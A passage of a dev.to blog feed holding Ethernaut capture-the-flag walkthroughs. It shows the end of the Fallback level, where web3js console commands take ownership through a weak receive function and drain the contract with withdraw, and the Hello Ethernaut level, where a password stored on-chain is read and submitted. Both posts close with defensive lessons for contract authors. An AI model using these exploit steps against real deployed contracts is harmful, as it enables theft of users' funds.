    &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By calling this function we can pledge an amount of ETH, and if the total pledged by us is greater than the &lt;code&gt;contributions&lt;/code&gt; of the &lt;code&gt;owner&lt;/code&gt; we claimed the ownership.&lt;/p&gt;

&lt;p&gt;That sounds pretty straightforward, the drawback is that when the contract was deployed, the &lt;code&gt;constructor&lt;/code&gt; set the &lt;code&gt;contributions&lt;/code&gt; of the &lt;code&gt;owner&lt;/code&gt; as 1000 ETH 😵.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I don't own an amount of test ether close to 1000 and surely you don't either. We need to try another option to hack this contract.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Through the &lt;code&gt;receive&lt;/code&gt; function:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;receive&lt;/code&gt; (a variation of the &lt;code&gt;fallback&lt;/code&gt;) is a special function in Solidity. This function is executed when the contract receives ether with an empty &lt;code&gt;calldata&lt;/code&gt;. For a &lt;code&gt;receive&lt;/code&gt; function to handle transfer of ether it MUST be marked as &lt;code&gt;payable&lt;/code&gt;, otherwise the transaction will revert.&lt;/p&gt;

&lt;p&gt;To claim ownership we need to pass the conditions in the &lt;code&gt;require&lt;/code&gt; function -- sending an amount of ether greater than zero and have previously contributed to the contract.&lt;/p&gt;

&lt;p&gt;Now we that we know how to claim ownership, we could write a contract to expoit &lt;code&gt;Fallback.sol&lt;/code&gt; but is not necessary, we will hack the contract interacting with the ABI using &lt;code&gt;web3js&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Request a new instance of the level.&lt;/p&gt;

&lt;p&gt;Check the current owner of the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt; &lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// in my case it returned '0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We need to replace that address with ours.&lt;/p&gt;

&lt;p&gt;First we need to contribute some ether to the contract, run the following command in your console:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contribute&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;toWei&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"0.0009"&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let me quickly explain this command -- as explained in the Lvl 0, the contract object has an ABI that is made of the methods of the contract. In this case from the &lt;code&gt;contract&lt;/code&gt; we will call the &lt;code&gt;contribute&lt;/code&gt; method, but the methods also have their own. &lt;code&gt;sendTransaction&lt;/code&gt; is a method that allow us to create a transaction with a set of &lt;code&gt;options&lt;/code&gt; (e.g. to, from, data, value, etc...). From the avaliable options we are mostly concerned with the &lt;code&gt;value&lt;/code&gt; in which we can specify the amount of ether (a.k.a &lt;code&gt;msg.value&lt;/code&gt;) we want to send in the transaction.&lt;/p&gt;

&lt;p&gt;In Solidity we don't work with decimals and at the smart contract level ether is handle in wei which is the smallest unit of ether (1 ether = 1000000000000000000 wei or 10 ** 18). &lt;/p&gt;

&lt;p&gt;To transform the &lt;code&gt;value&lt;/code&gt; from ether to wei we use &lt;code&gt;toWei("0.0009")&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's verify our contribution after the transactions is mined:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getContribution&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contribution&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;contribution&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// 900000000000000 wei
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Good! it returned the correct amount represented in wei.&lt;/p&gt;

&lt;p&gt;Now that we have contributed to the contract, we can send a plain transaction to trigger the &lt;code&gt;receive&lt;/code&gt; function to become the owners, run the following command in your console:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;sendTransaction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;toWei&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"0.0005"&lt;/span&gt;&lt;span class="p"&gt;)})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let's check the address that owns the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// should return your address
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yes! 😎 we just claimed ownership of the contract.&lt;/p&gt;

&lt;p&gt;Before putting the last nail in the coffin, let's verify the current balance in the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bal&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// 0.0014 ether
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ok, let's drain the balance of the contract, run this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the trasansaction is mined check again the balance of the contract and it should be zero. &lt;/p&gt;

&lt;p&gt;Submit the instance to complete this level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion ✔️
&lt;/h2&gt;

&lt;p&gt;This contract poorly implemented a &lt;code&gt;fallback&lt;/code&gt; function without any kind of safeguards (i.e. conditional requirement) making the contract exploitable by anyone and putting in risk its entire balance. &lt;/p&gt;

&lt;p&gt;When implementing a &lt;code&gt;fallback&lt;/code&gt; function in your contract try to use it these ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keep the logic inside simple.&lt;/li&gt;
&lt;li&gt;Be careful when implementing logic that modify state (ownership change, balances updates, support to low level calls).&lt;/li&gt;
&lt;li&gt;Use it mostly to emit payment events to the transaction log.&lt;/li&gt;
&lt;li&gt;Check simple conditional requirements.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Further reading 📚
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/better-programming/solidity-tutorial-all-about-ether-units-eaebe55dd4dc"&gt;Solidity Tutorial: All About Ether Units&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Special Functions - &lt;a href="https://blog.soliditylang.org/2020/03/26/fallback-receive-split/"&gt;Solidity docs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.soliditylang.org/2020/03/26/fallback-receive-split/"&gt;Solidity 0.6.x features: fallback and receive functions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethernaut</category>
      <category>security</category>
      <category>solidity</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 0: Hello Ethernaut</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Sat, 27 May 2023 21:10:27 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-0-hello-ethernaut-2c7e</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-0-hello-ethernaut-2c7e</guid>
      <description>&lt;h6&gt;
  
  
  &lt;em&gt;Requirements: basic smart contracts knowledge.&lt;/em&gt;
&lt;/h6&gt;

&lt;h2&gt;
  
  
  Intro 👋👋
&lt;/h2&gt;

&lt;p&gt;Hello fren, my name is Pacelli.&lt;/p&gt;

&lt;p&gt;In this series I will be presenting my solutions to the Ethernaut hacking challenges created by the &lt;a href="https://www.openzeppelin.com/"&gt;OpenZeppelin&lt;/a&gt; team.&lt;/p&gt;

&lt;p&gt;Although there are many repos and blogs around the web with the solutions to these challenges, I still decided to make the exercise of publishing my own solutions and explations for my own benefit and in the hope that this blog will help future readers looking for up-to-date solutions.&lt;/p&gt;

&lt;p&gt;For the majority of the challenges Remix IDE will be enough, except for some cases in which an editor like VS Code will be necessary.&lt;/p&gt;

&lt;p&gt;To play the game you will need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Metamask. If you don't have it installed in your browser &lt;a href="https://metamask.io/download/"&gt;learn&lt;/a&gt; how to set up a profile for free. &lt;/li&gt;
&lt;li&gt;Test ether. My recommendation is to use the Sepolia tesnet because is the one with most active faucets. You can get test ether from either the &lt;a href="https://sepoliafaucet.com/"&gt;Alchemy&lt;/a&gt; or &lt;a href="https://faucets.chain.link/"&gt;Chainlink&lt;/a&gt; faucets.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Get some test ether and come back! &lt;/p&gt;

&lt;h2&gt;
  
  
  How does Ethernaut works? ⚙️
&lt;/h2&gt;

&lt;p&gt;All smart contracts source code are compiled into two formats, by the Ethereum Virtual Machine (EVM):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Application Binary Interface (ABI): communication layer between Solidity and Javascript, in JSON format.&lt;/li&gt;
&lt;li&gt;Bytecode: low-level machine language that it's interpreted and executed by the EVM. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you request &lt;code&gt;Get new instance&lt;/code&gt; for each level, Ethernaut compiles and deploy the bytecode to a new address on the network you're connected. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ynSQMsIs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z2cpf6690rtdam4kpenc.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ynSQMsIs--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z2cpf6690rtdam4kpenc.PNG" alt="Deployment process of smart contracts and how clients access smart contracts from the blockchain" width="800" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once a new instance of the level is created on the blockchain, an address is returned to your web client through an event emitted by the main contract game, &lt;a href="https://sepolia.etherscan.io/address/0xa3e7317e591d5a0f1c605be1b3ac4d2ae56104d6"&gt;&lt;code&gt;Ethernaut.sol&lt;/code&gt;&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This is a fragment of the contract
&lt;/span&gt;
&lt;span class="k"&gt;event&lt;/span&gt; &lt;span class="n"&gt;LevelInstanceCreatedLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;indexed&lt;/span&gt; &lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;indexed&lt;/span&gt; &lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;indexed&lt;/span&gt; &lt;span class="n"&gt;level&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;createLevelInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Level&lt;/span&gt; &lt;span class="n"&gt;_level&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Ensure level is registered.
&lt;/span&gt;    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;registeredLevels&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_level&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt; &lt;span class="s"&gt;"This level doesn't exists"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Get level factory to create an instance.
&lt;/span&gt;    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;instance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_level&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;createInstance&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Store emitted instance relationship with player and level.
&lt;/span&gt;    &lt;span class="n"&gt;emittedInstances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;EmittedInstanceData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;_level&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nb"&gt;false&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;statistics&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;createNewInstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_level&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Retrieve created instance via logs.
&lt;/span&gt;    &lt;span class="k"&gt;emit&lt;/span&gt; &lt;span class="n"&gt;LevelInstanceCreatedLog&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_level&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, with the help of &lt;code&gt;web3js&lt;/code&gt; an ABI is wrapped around the new contract instance that will allow you to easily interact with it using the console in your developer tools.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ax_bozpn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rusl2g9xdxvl2c7emyk9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ax_bozpn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rusl2g9xdxvl2c7emyk9.PNG" alt="ABI of created contract instance" width="800" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also is important to mention the game provides a series of custom web3 add-ons, some of them will be useful to solve the challenges.&lt;/p&gt;

&lt;h2&gt;
  
  
  Challenge Walkthrough 🚶🏽‍♀️🚶🏽
&lt;/h2&gt;

&lt;p&gt;This a introductory challenge, its main objective is to help us get related with the UI and how to interact with a contract using web3js and the ABI.&lt;/p&gt;

&lt;p&gt;Let's solve this challenge:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Request a new instance of this level, send the transaction and wait for it to be mined so you to get a &lt;code&gt;Intance address&lt;/code&gt; for this leven.&lt;/li&gt;
&lt;li&gt;Open your developer tools, type &lt;code&gt;contract&lt;/code&gt; and press enter. This will print the recently deployed contract to the console. This contract object contains an &lt;code&gt;abi&lt;/code&gt; with all the methods we can call.&lt;/li&gt;
&lt;li&gt;Type &lt;code&gt;await contract.info()&lt;/code&gt;, this will return:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="s"&gt;'You will find what you need in info1().'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Let's follow the new instruction by calling the &lt;code&gt;info1()&lt;/code&gt; method, type &lt;code&gt;await contract.info1()&lt;/code&gt;, now you will get:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="s"&gt;'Try info2(), but with "hello" as a parameter.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;This time it is a little different, now we have to call the method with a parameter like this &lt;code&gt;await contract.info2("hello")&lt;/code&gt; and it will return:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="s"&gt;'The property infoNum holds the number of the next info method to call.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;If you call the &lt;code&gt;infoNum&lt;/code&gt; method it will return an object. The information we required is in the first element of the &lt;code&gt;words&lt;/code&gt; property. We can access this value more easily with this syntax &lt;code&gt;(await contract.infoNum()).words[0]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The previous contract call returned &lt;code&gt;"42"&lt;/code&gt;. This is a clue to help us determine the next method we need to call. If we inspect the ABI of the contract again, we will see a &lt;code&gt;info42&lt;/code&gt; method. This is the method we have to call next.&lt;/li&gt;
&lt;li&gt;Type &lt;code&gt;await contract.info42()&lt;/code&gt; and you will see in the console:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="s"&gt;'theMethodName is the name of the next method.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Call &lt;code&gt;await contract.theMethodName()&lt;/code&gt;, it will return:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="s"&gt;'The method name is method7123949.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;After calling &lt;code&gt;await contract.method7123949()&lt;/code&gt;, the contract will return this message:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="s"&gt;'If you know the password, submit it to authenticate().'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;We have to call the &lt;code&gt;authenticate&lt;/code&gt; method with a password, but we don't know it yet. Luckily for us and not for the dev who wrote this contract, the password is stored in the contract (big mistake). To read the password type &lt;code&gt;password = await contract.password()&lt;/code&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// this is the password:
&lt;/span&gt;&lt;span class="s"&gt;'ethernaut0'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Finally type &lt;code&gt;await contract.authenticate(password)&lt;/code&gt; and press enter. Metamask will pop-up, send the transaction and wait for it to be mined to get a transaction receipt.&lt;/li&gt;
&lt;li&gt;Submit the instance to complete this level.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Uf! 😩 those were a lot of contract calls, but it wasn't so terrible right?&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion ✔️
&lt;/h2&gt;

&lt;p&gt;After clearing this level you will see &lt;code&gt;Instance.sol&lt;/code&gt; with the code you just interacted with. The methods of this contract acted as breadcrumbs that we follow to discover the password to clear this level.&lt;/p&gt;

&lt;p&gt;Data in the blockchain is public and everybody can see it. Storing sensitive data in a blockchain is a huge mistake.&lt;/p&gt;

&lt;h2&gt;
  
  
